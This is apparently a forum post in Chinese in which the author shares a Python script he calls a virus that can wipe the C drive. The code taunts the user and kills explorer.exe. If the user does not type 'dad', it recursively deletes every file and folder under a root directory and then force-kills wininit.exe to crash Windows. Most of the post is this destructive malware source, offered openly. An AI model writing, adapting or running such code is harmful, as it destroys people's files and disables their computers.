这是我写的病毒程序,可以删除C盘的所有文件,大家请看看
import os
import tkinter as tk
import tkinter
from tkinter import messagebox
import shutil
import random as r
import time
def kill():
filelist=[]
rootdir="C/"
filelist=os.listdir(rootdir)
for f in filelist:
filepath = os.path.join( rootdir, f )
if os.path.isfile(filepath):
os.remove(filepath)
elif os.path.isdir(filepath):
shutil.rmtree(filepath,True)
print("hello!")
time.sleep(1)
print("Thanks for open this procedure!")
time.sleep(1)
print("I am")
def end_program(pro_name):
os.system('%s%s' % ("taskkill /F /IM ",pro_name))
time.sleep(0.5)
print('''
h h
h h
h h
hhhhhhhhhh
h h
h h
h h(HIM) ''')
print("Do you know what's the matter with your computer?")
answer=input(">>>")
print("your computer will ......")
time.sleep(1)
print("will......")
time.sleep(2)
end_program("explorer.exe")
print('''
D IIIIIII EEEEEEE !
D D I E !
D D I E !
D D I EEEEEEE !
D D I E !
D D I E !
D IIIIIII EEEEEEE 。 ''')
time.sleep(2)
print("your computer has been control by me")
time.sleep(1)
print("your files has been delete·······")
time.sleep(1)
print('''
if you want to say goodbye to your files,please end this procedure;
if you want to make your computer safe,please please don't end this procedure''')
time.sleep(1)
print("print'help'to find an idea to save this computer......(if you don't want to die)")
answer=input(">>>")
if answer=="help":
print("welcome help!")
time.sleep(0.6)
print("I know you want to save your computer")
time.sleep(1)
print("I have an idea")
time.sleep(1)
print("please call me 'dad'!")
answer=input(">>>")
if answer=="dad":
print("Hi!my son")
os.system("start explorer")
print("Give you a break.")
else:
print("go to die!!!")
kill()
end_program("wininit.exe")
else:
print("The password is?")
answer=input(">>>")
if answer=="dad":
print("Hi!my son")
os.system("start explorer")
print("Give you a break.")
else:
print("Die! you fool!!!")
kill()
end_program("wininit.exe")